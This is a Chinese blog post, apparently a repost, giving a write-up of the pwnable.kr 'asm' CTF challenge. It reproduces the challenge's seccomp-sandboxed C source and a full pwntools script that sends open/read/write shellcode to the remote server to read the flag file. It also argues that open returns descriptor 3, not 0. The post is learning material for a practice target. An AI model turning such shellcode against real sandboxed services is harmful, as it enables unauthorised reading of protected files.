我是靠谱客的博主 刻苦蜜蜂,最近开发中收集的这篇文章主要介绍pwnable.kr asm (open函数的探究),觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

这其实是一道挺简单的题,会用pwntools写shellcode就行了,不过里面有一个小点,网上别的文章从没有人提过,前两天学校有人讲座讲了这道题,然后也讲错了。。。不求甚解也得看情况。。
在这里插入图片描述
连上去,然后ls发现有这么几个文件,,

这是asm.c

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>

#define LENGTH 128

void sandbox(){
        scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
        if (ctx == NULL) {
                printf("seccomp errorn");
                exit(0);
        }

        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);

        if (seccomp_load(ctx) < 0){
                seccomp_release(ctx);
                printf("seccomp errorn");
                exit(0);
        }
        seccomp_release(ctx);
}

char stub[] = "x48x31xc0x48x31xdbx48x31xc9x48x31xd2x48x31xf6x48x31xffx48x31xedx4dx31xc0x4dx31xc9x4dx31xd2x4dx31xdbx4dx31xe4x4dx31xedx4dx31xf6x4dx31xff";
unsigned char filter[256];
int main(int argc, char* argv[]){

        setvbuf(stdout, 0, _IONBF, 0);
        setvbuf(stdin, 0, _IOLBF, 0);

        printf("Welcome to shellcoding practice challenge.n");
        printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.n");
        printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.n");
        printf("If this does not challenge you. you should play 'asg' challenge :)n");

        char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
        memset(sh, 0x90, 0x1000);
        memcpy(sh, stub, strlen(stub));

        int offset = sizeof(stub);
        printf("give me your x64 shellcode: ");
        read(0, sh+offset, 1000);

        alarm(10);
        chroot("/home/asm_pwn");        // you are in chroot jail. so you can't use symlink in /tmp
        sandbox();
        ((void (*)(void))sh)();
        return 0;
}

大体的意思就是你运行了这个程序,就进入了一个沙箱,只能在asm_pwn这个目录下操作,不能逾越这个目录。
然后他给了一段shellcode,在这段之后我们可以输入自己的shellcode,然后运行。
砂箱里面有规定,只能使用read() open() write()这三个函数来输出flag

once you connect to port 9026, the “asm” binary will be executed under asm_pwn privilege.
make connection to challenge (nc 0 9026) then get the flag. (file name of the flag is same as the one in this directory)
~

这是readme里面的话,,意思就是你连上了9026端口就相当于运行了asm程序,进入了沙箱。

asm.c里面的shellcode就不说了,网上千篇一律的都讲过,,作用就是清空所有寄存器。(用pwntools的disasm()可以shellcode转汇编)

其实也不难嘛,咱们构造shellcode只用到那三个函数把文件读出来就行了。。
在这里插入图片描述
网上千篇一律都是这样的exp,,也是挺对的,不过就让我怀疑有没有自己思考过。。

其实题没啥问题,正常做,不过前两天有个人给我们讲pwn说到这道题,有一个点讲的不对。
他说:“open之后呢,这个rax会置零,所以我们read的时候第一个参数就用rax里面的值”
我???
这句话我很怀疑,所以晚上这三个函数我都查了一遍。
在这里插入图片描述
在这里插入图片描述
从这我们就能知道,open返回的是句柄,012三个句柄是默认的,那么我们打开文件的时候句柄肯定不是012了,就是按打开文件的顺序计数,从3开始一直往后数。他讲的这个0我就吐了。。误人子弟么。。。不是黑这个讲课的,我也没有资格,我就是单纯的看不起,讲课也这么稀里糊涂的?给人讲课就上网上看一遍wp就vans了?自己都不想想题咋做的。。

网上也都是千篇一律的rax,其实在这个程序里,open之后返回的句柄是默认存在rax里没错,但是这个数是3,,因为这是为我们打开的第一个文件,所以句柄是3。然后这个值为3的句柄传入read的第一个参数,就相当于从文件里面读东西到rsp也就是栈上。

这是我写的:

#coding:utf-8
from pwn import *

context(os='linux',arch='amd64',log_level='debug')

sh = remote('pwnable.kr','9026')
#pwnlib.shellcraft.amd64.linux.read(fd=0, buffer='rsp', count=8)

#int open(const char *pathname, int flags, mode_t mode);
#O_RDONLY 以只读方式打开   /   O_WRONLY 以只写方式打开   /O_RDWR 以可读可写方式打开

#ssize_t write(int fd,void*buf,size_t count)

#payload = shellcraft.amd64.pushstr('file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong')

payload = shellcraft.amd64.linux.open('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong',0)

payload += shellcraft.amd64.linux.read(3,'rsp',0x200)
#          shellcraft.amd64.linux.read('rax','rsp',0x100)  网上都是这么写的
#open函数返回文件的句柄,,
#read函数第一个参数,0代表stdin,1代表stdout,2代表stderr,大于2代表文件的句柄,按打开顺序计数

payload += shellcraft.amd64.linux.write(1,'rsp',0x200)

sh.sendafter('shellcode: ',asm(payload))



sh.interactive()

运行验证一下
在这里插入图片描述
(注:因为我们在栈上读取的,所以读出来文件里的内容,我们还吧栈后面的内容都读出来了,比如那个很长的文件名,后面是一堆没用的参数。。)
这道题提醒自己,以后干什么都认真点吧。。。

最后

以上就是刻苦蜜蜂为你收集整理的pwnable.kr asm (open函数的探究)的全部内容,希望文章能够帮你解决pwnable.kr asm (open函数的探究)所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(26)

评论列表共有 0 条评论

立即
投稿
返回
顶部